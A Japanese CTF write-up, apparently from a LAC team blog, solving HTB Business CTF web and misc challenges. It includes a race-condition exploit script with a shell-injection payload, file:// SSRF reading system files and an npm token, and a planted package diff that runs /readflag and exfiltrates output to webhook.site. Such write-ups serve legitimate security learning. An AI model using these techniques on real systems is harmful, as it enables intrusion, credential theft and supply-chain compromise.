    "email": "OBMXH0H7xvgFD33sQNrjrrrs8RgAec3o@wo.htb",
    "role": "admin",
    "faction": "WO"
  },
…
  {
    "id": 7,
    "email": "bb30922e-43d8-4d2e-85a6-7514df5055f0@wo.htb",
    "role": "admin",
    "faction": "WO"
  }
]

先ほど作成した偽OpenIDプロバイダの EMAILOBMXH0H7xvgFD33sQNrjrrrs8RgAec3o@wo.htb に置き換え、再度同じ手順でログインします。これで、OBMXH0H7xvgFD33sQNrjrrrs8RgAec3o@wo.htb としてログインすることができました。メモの一覧ページに移り、My Secret というタイトルのメモを確認すると、フラグが得られました。

HTB{n0th1ng_l4sts_4ever_y0u_c4n_alw4ys_g3t_bann3d_4abdce10769e49ce20f18ed3fff0f443}

「SSO」という単語から嫌な雰囲気を感じ取り、後回しにしてほかの問題に取り組んでいましたが、覚悟を決めてソースコードを読んで情報を整理していくと、意外と簡単に解けた問題でした。

作問者が想定していた解法を確認してみると、BANされたユーザのチェック時にSQLiがあり、ここで複文によってすべてのメモの private フラグを折ることができるということでした。私はまず適当なメールアドレスの admin を作成して最初から存在している admin のメールアドレスを特定し、そしてそれを乗っ取るという手順で解いたわけですが、なるほど。

[Web 400] Magicom (24 solves)

In need of specialized equipment for their mission, the crew ventures into the seedy underbelly of the black market. With their negotiation skills put to the test, they strike a deal with a shady supplier, exchanging valuable resources for the necessary tools and gear.

添付ファイル: web_magicom.zip

問題の概要

ソースコードが与えられています。まずこの問題の目的を確認していきます。Dockerfile には次のようなコマンドがあり、/readflag というバイナリを実行する必要のあることがわかります。

# Setup readflag
COPY config/readflag.c /
RUN gcc -o /readflag /readflag.c && chmod 4755 /readflag && rm /readflag.c

どのようなサービスか確認するため、Dockerイメージを作成し、コンテナを立ち上げます。どうやらこれは「Fallout: New Vegas」に登場する武器*18を陳列しているプラットフォームのようです。

自分の商品を追加することもできます。商品名、その説明、そして画像の添付も可能となっています。非常にシンプルなWebアプリで、商品一覧の確認と商品の追加の2つの機能しかありません。

ソースコードを見ていきます。index.php は次のとおりです。まず Database というクラスをどこからか持ってきてインスタンスを作成し、データベースに接続しています。次に Router というクラスを作成し、ルーティングの設定を行っているようです。確かに、商品の追加ページは /addProduct というパスでしたし、商品一覧ページは /product というパスでした。少しだけLaravelのような雰囲気があります。

DatabaseRouter はいずれもビルトインでは存在しないクラスですし、このPHPファイルではなにも include なり require なりがされていませんが、これらのクラスへの参照時には spl_autoload_register で登録された関数でその名前の解決が行われます。

spl_autoload_register で登録されている関数を見てみましたが、ファイルが存在しているかをチェックするのみで、それ以外は特に検証もなく、クラス名をもとにしたファイルを require_filePHPコードとして読み込んでいます。Insecure Deserializationができれば、Local File Inclusion(LFI)に持ち込めそうな気がします。

<?php

spl_autoload_register(function ($name) {
    $parts = explode('\\', $name);
    $className = array_pop($parts);
    if (preg_match('/Controller$/', $name)) {
        $name = 'controllers/' . $name;
    }

    if (preg_match('/Model$/', $name)) {
        $name = 'models/' . $name;
    }

    $file = $name . '.php';

    if (is_file($file)) {
        require_once $file;
    }
});

$database = new Database('localhost', 'beluga', 'beluga', 'magicom');
$database->connect();

$router = new Router;

$router->get('/', 'HomeController@index');
$router->get('/home', 'HomeController@index');
$router->get('/product', 'ProductViewController@index');
$router->get('/addProduct', 'AddProductController@index');
$router->post('/addProduct', 'AddProductController@add');
$router->get('/info', function(){
    return phpinfo();
});

$router->resolve();
?>

Router というクラスは Router.php で定義されています。既存のライブラリ等を使っているわけではなく、自前で実装しているようでした。リクエストされたパスをもとにメソッドを呼び出しており、そのために $controller = new $callback[0]();, $controller->{$callback[1]}(); のようにかなり危ういことをやっていそうに思えます。

しかしながら、isset($this->routes[$method][$path]) というチェックがあるため、index.php において $router->get 等で指定された関数やメソッドしか呼び出すことはできません。

<?php

class Router {
    private $routes = [];

    public function get($path, $callback) {
        $this->routes['GET'][$path] = $callback;
    }

    public function post($path, $callback) {
        $this->routes['POST'][$path] = $callback;
    }

    public function view($view, $data = []) {
        require_once 'views/' . $view . '.php';
    }

    public function resolve() {
        $method = $_SERVER['REQUEST_METHOD'];
        $path = parse_url($_SERVER["REQUEST_URI"], PHP_URL_PATH);

        if (isset($this->routes[$method][$path])) {
            $callback = $this->routes[$method][$path];
            if (is_callable($callback)) {
                return call_user_func($callback);
            } else {
                $callback = explode('@', $callback);
                $controller = new $callback[0]();
                $controller->{$callback[1]}();
                return;
            }
        }

        http_response_code(404);
        $this->view("404");
    }
}

ちなみに、Dockerfile ではエントリーポイントは /entrypoint.sh とされています。このシェルスクリプトは次のとおりです。MySQLを立ち上げた後に、/www/cli/cli.php/www/procucts.sql というSQLMySQLへのインポートを行い、そしてSupervisorでnginx, php-fpmを立ち上げています。

#!/bin/ash

# Secure entrypoint
chmod 600 /entrypoint.sh

# Initialize & start MariaDB
mkdir -p /run/mysqld
chown -R mysql:mysql /run/mysqld
mysql_install_db --user=mysql --ldata=/var/lib/mysql
mysqld --user=mysql --console --skip-name-resolve --skip-networking=0 &

# Wait for mysql to start
while ! mysqladmin ping -h'localhost' --silent; do echo "not up" && sleep .2; done

php /www/cli/cli.php -c /www/cli/conf.xml -m import -f /www/products.sql
rm /www/products.sql

# Start supervisord services
/usr/bin/supervisord -c /etc/supervisord.conf

cli/cli.php は次のとおりです。コマンドライン引数から受け取った設定ファイル(XML)のパスをもとに、MySQLSQLをインポートしたり、逆にMySQLのデータをエクスポートしたりできるようなコマンドライン用のプログラムとなっています。

<?php

error_reporting(-1);

if (!isset( $_SERVER['argv'], $_SERVER['argc'] ) || !$_SERVER['argc']) {
    die("This script must be run from the command line!");
}

function passthruOrFail($command) {
    passthru($command, $status);
    if ($status) {
        exit($status);
    }
}
// …
function getConfig($name) {

    $configFilename = isConfig(getCommandLineValue("--config", "-c"));

    if ($configFilename) {
        $dbConfig = new DOMDocument();
        $dbConfig->load($configFilename);

        $var = new DOMXPath($dbConfig);
        foreach ($var->query('/config/db[@name="'.$name.'"]') as $var) {
            return $var->getAttribute('value');
        }
        return null;
    }
    return null;
}
// …
function import($filename, $username, $password, $database) {
    passthruOrFail("mysql -u$username -p$password $database < $filename");
}
// …
$username = getConfig("username");
$password = getConfig("password");
$database = getConfig("database");

$mode = getCommandLineValue("--mode", "-m");

if($mode) {
    switch ($mode) {
        case 'import':
            $filename = getCommandLineValue("--filename", "-f");
            if(file_exists($filename)) {
                import($filename, $username, $password, $database);
            } else {
                die("No file imported!");
            }
            break;
        case 'backup':
            backup(generateFilename(), $username, $password, $database);
            break;
        case 'healthcheck':
            healthcheck();
            break;
        default:
            die("Unknown mode specified.");
            break;
        }
}
?>

脆弱に見えて実は脆弱でない画像のアップロードフォーム

画像のアップロード処理を見ていきます。$router->post('/addProduct', 'AddProductController@add'); に対応するメソッドの定義は次のとおりです。まず ImageModel というクラスの isValid メソッドによって、アップロードされたファイルが妥当な画像か検証しています。

もしアップロードされたファイルが画像であれば、その画像の image/pngimage/jpeg のようなMIMEタイプをもとに拡張子を決定して、ランダムな16桁のhexと結合したものをファイル名として uploads/ 下に保存しています。

<?php
// …
    public function add() 
    {
        if (empty($_FILES['image']) || empty($_POST['title']) || empty($_POST['description']))
        {
            header('Location: /addProduct?error=1&message=Fields can\'t be empty.');
            exit;
        }

        $title = $_POST["title"];
        $description = $_POST["description"];
        $image = new ImageModel($_FILES["image"]);

        if($image->isValid()) {

            $mimeType = mime_content_type($_FILES["image"]['tmp_name']);
            $extention = explode('/', $mimeType)[1];
            $randomName = bin2hex(random_bytes(8));
            $secureFilename = "$randomName.$extention";

            if(move_uploaded_file($_FILES["image"]["tmp_name"], "uploads/$secureFilename")) {
                $this->product->insert($title, $description, "uploads/$secureFilename");

                header('Location: /addProduct?error=0&message=Product added successfully.');
                exit;
            }
        } else {
            header('Location: /addProduct?error=1&message=Not a valid image.');
            exit;
        }
    }
// …

ImageModel の定義は次のとおりです。以下の3点をチェックしています:

  • オリジナルのファイル名について、その拡張子が jpeg, jpg, png のいずれかである
  • mime_content_type の返り値について、image/jpeg, image.jpg, image/png のいずれかである
  • getimagesize で画像としてパース可能である
<?php
class ImageModel {
    public function __construct($file) {
        $this->file = $file;
    }

    public function isValid() {

        $allowed_extensions = ["jpeg", "jpg", "png"];
        $file_extension = pathinfo($this->file["name"], PATHINFO_EXTENSION);
        print_r($this->file);
        if (!in_array($file_extension, $allowed_extensions)) {
            return false;
        }

        $allowed_mime_types = ["image/jpeg", "image/jpg", "image/png"];
        $mime_type = mime_content_type($this->file['tmp_name']);
        if (!in_array($mime_type, $allowed_mime_types)) {
            return false;
        }

        if (!getimagesize($this->file['tmp_name'])) {
            return false;
        }

        return true;
    }
}
?>

まず phar://(すでにアップロードしたファイルのパス)/hoge のようなパスを mime_content_type 等のファイルパスを指定できる関数に与え、Pharを使ってInsecure Deserializationに持ち込むことを考えます。しかしながら、mime_content_typegetimagesize に渡されるファイルのパスは $this->file['tmp_name'] と一時ファイルのパスになっており、そのパスは自由に操作できないため、既存のファイルについてPharとして読み込ませるということはできそうにありません。

そもそも、Dockerfile を確認するとわかるように、この問題で使われているPHPのバージョンは8.2です。PHP 8以降では、Pharアーカイブが与えられても自動でデシリアライゼーションはされないようになっていたのでした。

JPEGPNGと、PHPコードのpolyglot*19をアップロードするにしても、結局保存される際の拡張子は jpegpng のいずれかになります。nginx.conf を見ても、拡張子が php でなければPHPコードとしては実行してくれないという設定になっています。

# …
        location ~ \.php$ {
            fastcgi_pass unix:/run/php-fpm.sock;
            fastcgi_index index.php;
            fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
            include fastcgi_params;
        }
# …

実はCLI以外からも呼び出せる cli.php

画像のアップロード処理に脆弱性がないならどこに脆弱性があるのか、と別の問題も見つつしばらく悩んでいました。わざわざ /infophpinfo が確認できることを思い出し、ではデフォルトの設定と何が変わっているのか、そもそも変更は加えられているのかという疑問が浮かびます。

Dockerfile から COPY config/php.ini /etc/php82/php.ini という行を取り除いて、デフォルトの設定が使われるようにします。出力された phpinfo のdiffを取ってみる*20と、register_argc_argv というディレクティブがオンになっていることに気づきました。

-<tr><td class="e">register_argc_argv</td><td class="v">Off</td><td class="v">Off</td></tr>
+<tr><td class="e">register_argc_argv</td><td class="v">On</td><td class="v">On</td></tr>

register_argc_argv ディレクティブは argcargv を利用できるようにするためのもののようですが、「これらにはGETの情報が格納されます」という記述が気になります。

そういえば、cli/cli.php では以下のような処理でコマンドライン以外から実行できないようになっていたのでした。cli/cli.php はドキュメントルート下にあるため、/cli/cli.php でアクセスできますが、たしかにWebからアクセスした場合には "This script must be run from the command line!" と怒られます。しかし、「GETの情報が格納され」るということが、$_SERVER['argv'] にクエリパラメータの値が格納されるという意味であれば、話は違ってきます。

<?php

error_reporting(-1);

if (!isset( $_SERVER['argv'], $_SERVER['argc'] ) || !$_SERVER['argc']) {
    die("This script must be run from the command line!");
}
// …

PHPソースコードを確認し、まず register_argc_argv を参照している箇所を見てみます。たしかに、このディレクティブが有効であればクエリ文字列から argv を取り出していそうです。argv をパースする処理では、+ で区切っていることが確認できました。

cli/cli.php の頭に var_dump($_SERVER['argv']) を追加してみます。/cli/cli.php?hoge+fuga にアクセスすると、$_SERVER['argv']['hoge', 'fuga'] という配列が入っていると確認できました。もちろん !isset( $_SERVER['argv'], $_SERVER['argc'] ) || !$_SERVER['argc'] は偽ですから、以降のMySQLへのインポートやエクスポートの処理も呼び出せるはずです。

cli.php に存在するOSコマンドインジェクション

まさか cli/cli.php がWebから叩けるとは思っていなかったので、どのような処理が行われているかちゃんとは読んでいませんでした。これで何ができるか確認していきます。

オプションを取得する関数として getCommandLineValuegetConfig が存在していますが、前者はコマンドラインオプションから取得するのに対して、後者は --config または -c というコマンドラインオプションで指定されたXMLファイルから読み込み、取得しています。

<?php
// …
function getConfig($name) {

    $configFilename = isConfig(getCommandLineValue("--config", "-c"));

    if ($configFilename) {
        $dbConfig = new DOMDocument();
        $dbConfig->load($configFilename);

        $var = new DOMXPath($dbConfig);
        foreach ($var->query('/config/db[@name="'.$name.'"]') as $var) {
            return $var->getAttribute('value');
        }
        return null;
    }
    return null;
}
// …
$username = getConfig("username");
$password = getConfig("password");
$database = getConfig("database");

$mode = getCommandLineValue("--mode", "-m");

if($mode) {
    switch ($mode) {
        case 'import':
            $filename = getCommandLineValue("--filename", "-f");
            if(file_exists($filename)) {
                import($filename, $username, $password, $database);
            } else {
                die("No file imported!");
            }
            break;
        case 'backup':
            backup(generateFilename(), $username, $password, $database);
            break;
        case 'healthcheck':
            healthcheck();
            break;
        default:
            die("Unknown mode specified.");
            break;
        }
}

データベースのインポートやエクスポートはOSコマンドの実行で実現されています。escapeshellargエスケープしているわけではないので、ユーザ名やパスワード等のXMLから取得されたオプションを任意のものにできれば、OSコマンドインジェクションができそうです。

<?php
// …
function backup($filename, $username, $password, $database) {
    $backupdir = "/tmp/backup/";
    passthruOrFail("mysqldump -u$username -p$password $database > $backupdir$filename");
}

function import($filename, $username, $password, $database) {
    passthruOrFail("mysql -u$username -p$password $database < $filename");
}
// …

/cli/cli.php?-c+hoge.xml のように argv から設定の読み込み先であるXMLファイルのパスを指定できます。しかしながら、任意の内容のXMLを用意しようにも、先ほど確認したように、我々はPNGもしくはJPEGしかアップロードできないのでした。

これらの画像とXMLのpolyglotを書くことを考えますが、mime_content_typegetimagesize のチェックを通るようにしたければ、PNGでは必ずnull文字が入ってしまいますし、JPEGでも最低限 FF D8 FF C0 の4バイトが必要で、その後にXMLを続けても "Start tag expected, '<' not found" と怒られてしまいます。

/tmp # xxd test.jpg
00000000: ffd8 ffc0 3c74 6573 743e 3c2f 7465 7374  ....<test></test
00000010: 3e0a                                     >.
/tmp # php -a
Interactive shell

php > $d = new DOMDocument(); $d->load('test.jpg');
PHP Warning:  DOMDocument::load(): Start tag expected, '<' not found in /tmp/test.jpg, line: 1 in php shell code on line 1

どうにかできないかと思ったところで、phpinfo が確認できることを思い出しました。phpinfo ができるページに対して無理やりファイルをアップロードしてやると、$_FILES の内容をダンプしてくれるセクションで、一時的にアップロードされたファイルが保存されているパスを出力してくれます。

これとLFIをあわせてRCEに持ち込む手法があります。同じ要領で、phpinfo に対してXMLをアップロードして、一時ファイルのパスを得ることができ次第、このファイルが削除される前に /cli/cli.php?-c+(一時ファイルのパス)+… を叩くことで、XMLを読み込ませることができるのではないでしょうか。

実は、ImageModel クラスの isValid メソッドには print_r($this->file) という処理があります。ここでも同じように一時ファイルのパスが得られるはずです。ユーザ名に hoge; /readflag; # という文字列を含むXMLをアップロードし、これを設定ファイルとして /cli/cli.php に読み込ませつつ、データベースのバックアップをさせます。うまくいけば、これでOSコマンドインジェクションが発生するはずです。

import socket
import re
import concurrent.futures

import requests

HOST, PORT = 'localhost', 1337
TARGET = f'{HOST}:{PORT}'
BASE = f'http://{TARGET}'
PAYLOAD_TEMPLATE = b'''------WebKitFormBoundaryUOUUufnDELFTGIMt
Content-Disposition: form-data; name="title"

a
------WebKitFormBoundaryUOUUufnDELFTGIMt
Content-Disposition: form-data; name="description"

b
------WebKitFormBoundaryUOUUufnDELFTGIMt
Content-Disposition: form-data; name="image"; filename="test.jpg"
Content-Type: image/jpeg

PAYLOAD
------WebKitFormBoundaryUOUUufnDELFTGIMt--
'''
REQUEST_TEMPLATE = b'''POST /addProduct HTTP/1.1
Host: HOST
Content-Length: LENGTH
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUOUUufnDELFTGIMt
Connection: close

BODY'''

def generate_template(data):
    return PAYLOAD_TEMPLATE.replace(b'PAYLOAD', data).replace(b'\n', b'\r\n')

def generate_request(data):
    body = PAYLOAD_TEMPLATE.replace(b'PAYLOAD', data).replace(b'\n', b'\r\n')
    return REQUEST_TEMPLATE.replace(b'HOST', TARGET.encode()).replace(b'LENGTH', str(len(body)).encode()).replace(b'BODY', body)

def go():
    i = 0
    while True:
        if i % 100 == 0:
            print(f'[debug] {i}')

        sock = socket.create_connection((HOST, PORT))
        sock.send(generate_request(b'''<config>
        <db name="username" value="hoge; /readflag; #"/>
        <db name="password" value="root"/>
        <db name="database" value=""/>
        <db name="poyo" value="LOOOONG"/>
        </config>'''.replace(b'LOOOONG', b'A' * 0x10000)))

        resp = sock.recv(1024)
        pat = rb'(/tmp/php[^\n]+)\n'
        while not b'/tmp/php' in resp:
            resp += sock.recv(1024)
        tmp_path = re.findall(pat, resp)[0].decode()

        r = requests.get(f'{BASE}/cli/cli.php?-m+backup+-c+{tmp_path}')
        if r.text != '':
            print(i, r.text)
            break

        sock.close()

        i += 1

with concurrent.futures.ThreadPoolExecutor() as executor:
    for _ in range(5):
        executor.submit(go)

HTB Business CTFではチームごとに問題サーバのインスタンスが立てられるようになっています。インスタンスIPアドレスを確認すると、東京どころかシンガポールですらなく、イギリスはロンドンに位置しているようです。Race Conditionを利用する問題であるのに、これだけ距離があると厳しいです。少しでも距離を縮めるべく同じロンドンに位置するVPSを借り*21、先ほどのスクリプトを実行すると、フラグが得られました。

HTB{H4ck1ng_Cl1_4pps_fr0m_W3bs1t3_n0w_wh4t?_71fa12236fd019be2f0e5336297512a1}

cli.php がドキュメントルート下にあり、また register_argc_argv ディレクティブが On になっているために、Webからでも $_SERVER['argv'] が操作可能であることに気づくまでにかなりの時間を費やしてしまいました。気づいてからは数時間で解くことができましたが、Insecure Deserializationに固執してしまい、ここで苦戦してしまったことに反省です*22

spl_autoload_register でInsecure DeserializationからのRCEを期待させつつも、結局なんでもありませんでした。気になって作問者が想定していた解法を確認したところ、cli.php で細工した設定ファイルを読み込ませるパートの前に、Insecure Deserializationのためではないものの、本来はPharを悪用するパートがあったようでした。

[Misc 350] Prison Pipeline (41 solves)

One of our crew members has been captured by mutant raiders and is locked away in their heavily fortified prison. During an initial reconnaissance, the crew managed to gain access to the prison's record management system. Your mission: exploit this system to infiltrate the prison's network and disable the defenses for the rescuers. Can you orchestrate the perfect escape and rescue your comrade before it's too late?

添付ファイル: misc_prison_pipeline.zip

問題の概要

ソースコードが与えられています。まずこの問題の目的を確認していきます。Dockerfile には次のようなコマンドがあり、/readflag というバイナリを実行する必要のあることがわかります。

# Copy flag
USER root
COPY flag.txt /root/flag

# Add readflag binary
COPY config/readflag.c /
RUN gcc -o /readflag /readflag.c && chmod 4755 /readflag && rm /readflag.c

どのようなサービスか確認するため、Dockerイメージを作成し、コンテナを立ち上げます。どうやらこれは囚人を管理するWebアプリのようです。各囚人の情報はYAML形式で保存されているらしく、画面右のメニューから囚人を検索したり、囚人をクリックして対応するYAMLを確認したりできます。

ページ下部には新たな囚人の情報をインポートできるフォームもあります。直接ファイルをアップロードするのではなく、URLを指定することで、このサーバがそのURLで提供されているYAMLを取りに行ってインポートしてくれるようです。

nginx.conf を見ると、どうやらデフォルトでこのWebアプリにアクセスできるほか、同じ1337/tcpregistry.prison-pipeline.htb というホスト名でアクセスすることで、また別のWebアプリにアクセスできるようだとわかります。

# …
    server {
        listen 1337;
        server_name registry.prison-pipeline.htb;

        location / {
            proxy_pass http://localhost:4873/;
            proxy_set_header Host $host:$server_port;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $scheme;
            proxy_set_header X-NginX-Proxy true;
        }
    }

    server {
        listen 1337 default_server;
        server_name _;

        location / {
            proxy_pass http://localhost:5000/;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Port $server_port;
            proxy_set_header X-Forwarded-Proto $scheme;
        }
    }
# …

/etc/hosts127.0.0.1 registry.prison-pipeline.htb と書き加え、http://registry.prison-pipeline.htb:1337 にアクセスします。どうやらVerdaccioというNode.js向けのプライベートなnpmレジストリが動いているようです。

hackthebox というユーザが作った prisoner-db というパッケージだけがあるようです。また、npm adduser --registry … しても user registration disabled と返ってくることから、ユーザ登録は現在閉じられているようです。

4873/tcp(デフォルトでアクセスできるWebアプリ)のソースコードを見ていきます。主要な処理は次の通り application/routes/index.js で定義されています。非常にシンプルで、ほとんどの処理は prisoner-db という先ほど登場したプライベートなnpmレジストリのパッケージ側で定義されているようです。

/api/prisoners/import はURLを指定して外部からYAMLをインポートするAPIですが、特にURLが不正なものでないかのチェック等はここでは行われていないようです。

const express         = require('express');
const router          = express.Router({caseSensitive: true});
const prisonerDB      = require('prisoner-db');

const db = new prisonerDB('/app/prisoner-repository');

const response = data => ({ message: data });

router.get('/', (req, res) => {
    return res.render('index.html');
});

router.get('/api/prisoners', async (req, res) => {
    let prisoners = db.getPrisoners();

    return res.json(prisoners);
});

router.get('/api/prisoners/:id', async (req, res) => {
    const { id } = req.params;

    let prisoner = db.getPrisoner(id);

    return res.json(prisoner);
});

router.post('/api/prisoners/import', async (req, res, next) => {
    const { url } = req.body;
    if (!url) {
        return res.status(400).json(response('Missing URL parameter'));
    };

    try {
        let prisoner_id = await db.importPrisoner(url);
        return res.json({
            'message': 'Prisoner data imported successfully',
            'prisoner_id': prisoner_id
        });
    }
    catch(e) {
        console.error(e);
        return res.status(500).json(response('Failed to import prisoner data'));
    }
});


module.exports = router

prisoner-dbソースコードを確認します。特に気になる部分のみを抜き出していきます。まず、YAMLのパースには js-yaml を使っていることがわかります。3年以上更新されていないパッケージではあるものの、デフォルトでは関数オブジェクトはロードされないようですし、また package.json を見ると最新版の4.1.0を使っているようで、既知の脆弱性はないように思えます。

const fs = require('fs');
const yaml = require('js-yaml');
const CurlWrapper = require('./curl');

const curl = new CurlWrapper();
// …

メインのWebアプリから呼び出されている importPrisoner は次のとおりです。同じディレクトリにある curl.js を使って指定したURLからデータを持ってきた後に、その内容を (ランダムなID).yaml に保存しています。curl.jsnode-libcurl をラップした自前のライブラリですが、特に面白みはないので省略します。

// …
    addPrisoner(prisoner) {
        this.metadata.prisoner_ids.push(prisoner.id);
        this.writeJSON(this.repository + '/index.json', this.metadata);

        this.writeYAML(this.repository + '/' + prisoner.id + '.yaml', prisoner.data);

        return true;
    }
// …
    async importPrisoner(url) {
        try {
            const getResponse = await curl.get(url);
            const xmlData = getResponse.body;

            const id = `PIP-${Math.floor(100000 + Math.random() * 900000)}`;

            const prisoner = {
                id: id,
                data: xmlData
            };

            this.addPrisoner(prisoner);
            return id;
        }
        catch (error) {
            console.error('Error importing prisoner:', error);
            return false;
        }
    }
// …
    writeYAML(path, data) {
        try {
            fs.writeFileSync(path, data);
        }
        catch (e) {
            return false;
        }
    }

その他、どのようなサービスが存在しているか確認するため、supervisord.conf も見てみます。メインのWebアプリ、プライベートなnpmレジストリPM2のほか、cronjob と名付けられた(本物のcron jobではない)スクリプトがあるようです。

…
[program:cronjob]
directory=/app
user=node
environment=HOME=/home/node,PM2_HOME=/home/node/.pm2,PATH=%(ENV_PATH)s
command=/home/node/cronjob.sh
autostart=true
logfile=/dev/null
logfile_maxbytes=0

cronjob.sh は次のような内容です。30秒ごとに prisoner-db パッケージの更新がないか、プライベートなnpmレジストリへ確認しに行き、もし更新があればアップデートした上でメインのWebアプリを再起動しています。このパッケージを更新して、悪意のあるコードを仕込んでみろと言わんばかりの挙動です。

#!/bin/bash

# Secure entrypoint
chmod 600 /home/node/.config/cronjob.sh

# Set up variables
REGISTRY_URL="http://localhost:4873"
APP_DIR="/app"
PACKAGE_NAME="prisoner-db"

cd $APP_DIR;

while true; do
    # Check for outdated package
    OUTDATED=$(npm --registry $REGISTRY_URL outdated $PACKAGE_NAME)

    if [[ -n "$OUTDATED" ]]; then
        # Update package and restart app
        npm --registry $REGISTRY_URL update $PACKAGE_NAME
        pm2 restart prison-pipeline
    fi

    sleep 30
done

fileスキームを使ってプライベートなnpmレジストリの認証情報を奪い取り、侵害する

YAMLのインポートにcurlが使われていたことに着目します。file スキームを使うことで、ローカルのファイルを読み取ることはできないでしょうか。試しに file:///etc/passwd というURLでインポートさせてみたところ、以下のように /etc/passwd を読み取ることができました。

では、これでどんなファイルを読めばよいでしょうか。このメインのWebアプリとプライベートなnpmレジストリは同じDockerコンテナに同居しています。npmレジストリから、あるいはnpmレジストリへのアクセスに使われている認証情報等がもしファイルとして保存されているのであれば、それを奪い取ることはできないでしょうか。

docker exec -it … bash でDockerコンテナに入り、めぼしいファイルがないか探します。まず、npmレジストリから参照されている htpasswd というファイルが目に入りました。

root@66a792e1cde4:/home/node# cat /home/node/.config/verdaccio/htpasswd
registry:zIp.5R/uqNp1Q:autocreated 2024-05-19T04:41:20.905Z

パスワードのフォーマットについて調べてみると、verdaccio-htpasswd というパッケージが見つかりました。どうやらデフォルトではcrypt(descrypt)を使うようです。

npmレジストリの初期設定を行うための setup-registry.sh では、次のように英大文字小文字と数字から32文字ランダムに生成し、それを prisoner-db というパッケージを公開するユーザのパスワードとしています。しかしながら、descryptを使うのであれば頭の8文字しか使われないはずです。

# …
NPM_USERNAME="registry"
NPM_EMAIL="registry@prison-pipeline.htb"
NPM_PASSWORD=$(< /dev/urandom tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1)
# …
# Add registry user
/usr/bin/expect <<EOD
spawn npm adduser --registry $REGISTRY_URL
expect {
  "Username:" {send "$NPM_USERNAME\r"; exp_continue}
  "Password:" {send "$NPM_PASSWORD\r"; exp_continue}
  "Email: (this IS public)" {send "$NPM_EMAIL\r"; exp_continue}
}
EOD
# …

本物の問題サーバを立ち上げて、file:///home/node/.config/verdaccio/htpasswd をインポートさせることでパスワードのハッシュ値を手に入れます。hashcat.exe -m 1500 -a 3 -1 ?l?d?u descrypt.hash ?1?1?1?1?1?1?1?1 というようなオプションによって、hashcatでパスワードをクラックすることを考えます。しかしながら、流石に 62^8 通りは(競技時間が96時間であることを考えると一応現実的ではあるものの)時間がかかりすぎるようでした。作問者が意図したものかは知りませんが、これは我々を惑わせるだけのrabbit holeでしょうから別のアプローチを考えます。

…
Session..........: hashcat
Status...........: Running
Hash.Mode........: 1500 (descrypt, DES (Unix), Traditional DES)
Hash.Target......: xh4mv7KP9bcvg
Time.Started.....: Sun May 19 17:22:32 2024 (1 min, 24 secs)
Time.Estimated...: Tue May 21 19:32:01 2024 (2 days, 2 hours)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: ?1?1?1?1?1?1?1?1 [8]
Guess.Charset....: -1 ?l?d?u, -2 Undefined, -3 Undefined, -4 Undefined
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1209.2 MH/s (7.95ms) @ Accel:1 Loops:1024 Thr:256 Vec:1
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 102241124352/218340105584896 (0.05%)
Rejected.........: 0/102241124352 (0.00%)
…

どこか別のファイルにプライベートなnpmレジストリへアクセスするための認証情報等が保存されていないでしょうか。もう少し探索を続けます。すると、/home/node/.npmrc にアクセスに使えそうなトークンが見つかりました。

root@aae28fe33ecd:/home/node# cat /home/node/.npmrc
//localhost:4873/:_authToken="ZjdiMWVjOGVhMmIyZjQ3MTk1YmMxMTE4OTY1MWNmYjY6M2IwYTBmOGEzNjgzYTdiZWM1NTc5ZmU4ODY0MjJhY2Y3YWFjYjM1OGZjNjk1NDgxYjI4OTg0ZWM0NzE1MDZhNjI4NWE3YTVjMjk1Zjc0YTUxZA=="

これで、悪意のあるコードを加えた prisoner-db を公開し、メインのWebアプリにそれを読み込ませることができるはずです。次のように、prisoner-dbindex.js/readflag の実行結果を外部に送信する処理を追加し、そして package.json のバージョンを上げます。

$ git diff
diff --git a/index.js b/index.js
index dde627f..a5d2043 100644
--- a/index.js
+++ b/index.js
@@ -4,6 +4,10 @@ const CurlWrapper = require('./curl');

 const curl = new CurlWrapper();

+const cp = require('child_process');
+const flag = cp.execSync('/readflag');
+fetch('https://webhook.site/…?' + flag);
+
 /**
  * Database interface for prisoners of Prison-Pipeline.
  * @class Database
diff --git a/package.json b/package.json
index 1e22df2..8642e73 100644
--- a/package.json
+++ b/package.json
@@ -1,6 +1,6 @@
 {
   "name": "prisoner-db",
-  "version": "1.0.0",
+  "version": "1.0.1",
   "description": "Database interface for prisoners of Prison-Pipeline.",
   "main": "index.js",
   "scripts": {

メインのWebアプリで file:///home/node/.npmrc をインポートして得られたトークンを自身の ~/.npmrc に書き加え、以下のOSコマンドでパッケージを更新します。

$ REGISTRY_URL="http://registry.prison-pipeline.htb:1337"
$ npm publish --registry $REGISTRY_URL

しばらく待つと、フラグが webhook.site に飛んできました。

HTB{pr1s0n_br34k_w1th_supply_ch41n!_ad1a74832b0e528f39d79098bffbf99c}

この問題も我々がfirst bloodを取りました。サプライチェーンへの攻撃をテーマとしており、プライベートなnpmレジストリのパッケージを侵害するためにはどのような情報が必要か、認証情報を手に入れた後でどのようなことをすればそのパッケージを利用しているサービスを侵害できるかを考える過程が勉強になる問題でした。

おわりに

本記事では、HTB Business CTFについてご紹介した後に、Web, Miscの2カテゴリから出題された6問の解法について解説しました。この記事を通して、楽しい競技であったことが伝わったのであれば幸いです。今後、本ブログでほかのLAC SeaParadiseメンバーからもwriteupが公開される予定です。お楽しみに。

*1:ラック → ラッコ → 鳥羽水族館伊勢シーパラダイスという連想から名付けました。これはとりあえずのプレースホルダとして後から変えるつもりでしたが、そのままチーム名になりました

*2:私も以前CTFの賞品としてHTBのVIPサブスクリプションをいただいたのを受けて挑戦したことがありますが、当然ながら普段のCTFとは毛色がまったく違うのもあり、Hackerになったところで好みの問題から一度やめてしまいました。今回Fullpwn(Boot2Root)問でほとんど貢献できなかったことが悔しかったのもあり、いずれまた挑戦してみたいと思っています

*3:会社のメールアドレスで登録したアカウントでなければならないという意味ではなく、このCTFへのサインアップ時に追加で会社のメールアドレスを聞かれるということでした

*4:たとえば、複数の国・地域にまたがって展開している企業において、現地法人が単独で出るというような場合であれば問題ないというような例外はあります

